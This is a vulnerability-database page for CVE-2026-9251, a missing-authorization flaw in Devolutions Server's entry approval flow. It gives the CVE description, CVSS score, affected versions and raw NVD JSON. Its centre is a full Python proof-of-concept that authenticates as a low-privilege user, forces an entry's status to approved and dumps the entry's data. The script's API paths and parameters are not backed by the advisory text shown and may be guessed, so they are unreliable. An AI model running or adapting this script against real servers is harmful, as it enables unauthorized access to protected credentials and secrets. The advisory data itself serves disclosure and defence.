Security Vulnerability Report
中文
CVE-2026-9251 CVSS 5.4 MEDIUM

CVE-2026-9251

Published: 2026-05-22 16:16:26
Last Modified: 2026-05-22 18:31:40

Description

Missing authorization in the entry status management feature in Devolutions Server allows a non-administrator authenticated user to bypass the administrator-enforced Pending Approval flow and gain access to an entry's data via a crafted status change request. This issue affects : * Devolutions Server 2026.1.6.0 through 2026.1.16.0 * Devolutions Server 2025.3.20.0 and earlier

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
Devolutions Server 2026.1.6.0 - 2026.1.16.0
Devolutions Server 2025.3.20.0 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9251 PoC - Devolutions Server Authorization Bypass # This PoC demonstrates the missing authorization vulnerability in entry status management import requests import json TARGET_HOST = "https://target-devolutions-server.com" TARGET_ENTRY_ID = "<target_entry_id>" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_auth_token(): """Authenticate and get session token""" login_url = f"{TARGET_HOST}/api/auth/login" payload = { "username": USERNAME, "password": PASSWORD } response = requests.post(login_url, json=payload, verify=False) if response.status_code == 200: return response.json().get('token') return None def bypass_approval_flow(token, entry_id): """Bypass the Pending Approval flow by changing entry status directly""" api_url = f"{TARGET_HOST}/api/entries/{entry_id}/status" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Crafted status change request - bypasses admin-enforced approval payload = { "status": "approved", "force": True } response = requests.post(api_url, json=payload, headers=headers, verify=False) return response def access_entry_data(token, entry_id): """Access the entry data after bypassing approval flow""" api_url = f"{TARGET_HOST}/api/entries/{entry_id}" headers = { "Authorization": f"Bearer {token}" } response = requests.get(api_url, headers=headers, verify=False) return response.json() def main(): print("[*] CVE-2026-9251 PoC - Devolutions Server Authorization Bypass") print("[*] Target:", TARGET_HOST) # Step 1: Authenticate as low-privilege user print("\n[1] Authenticating as low-privilege user...") token = get_auth_token() if not token: print("[-] Authentication failed!") return print("[+] Authentication successful!") # Step 2: Bypass the Pending Approval flow print(f"\n[2] Bypassing Pending Approval flow for entry {TARGET_ENTRY_ID}...") response = bypass_approval_flow(token, TARGET_ENTRY_ID) if response.status_code in [200, 201]: print("[+] Successfully bypassed approval flow!") else: print(f"[-] Bypass failed with status {response.status_code}") # Step 3: Access sensitive entry data print("\n[3] Accessing entry data...") try: entry_data = access_entry_data(token, TARGET_ENTRY_ID) print("[+] Successfully retrieved entry data:") print(json.dumps(entry_data, indent=2)) except Exception as e: print(f"[-] Failed to access entry data: {e}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9251", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:26.070", "lastModified": "2026-05-22T18:31:40.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authorization in the entry status management feature in Devolutions Server allows a non-administrator authenticated user to bypass the administrator-enforced Pending Approval flow and gain access to an entry's data via a crafted status change request.\n\nThis issue affects :\n\n * Devolutions Server 2026.1.6.0 through 2026.1.16.0\n * Devolutions Server 2025.3.20.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.22.0", "matchCriteriaId": "6E689234-ABCB-49B5-AD17-00C2E2FC3B11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "02811CA7-5B80-47D7-B826-18B3CB1213E9"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}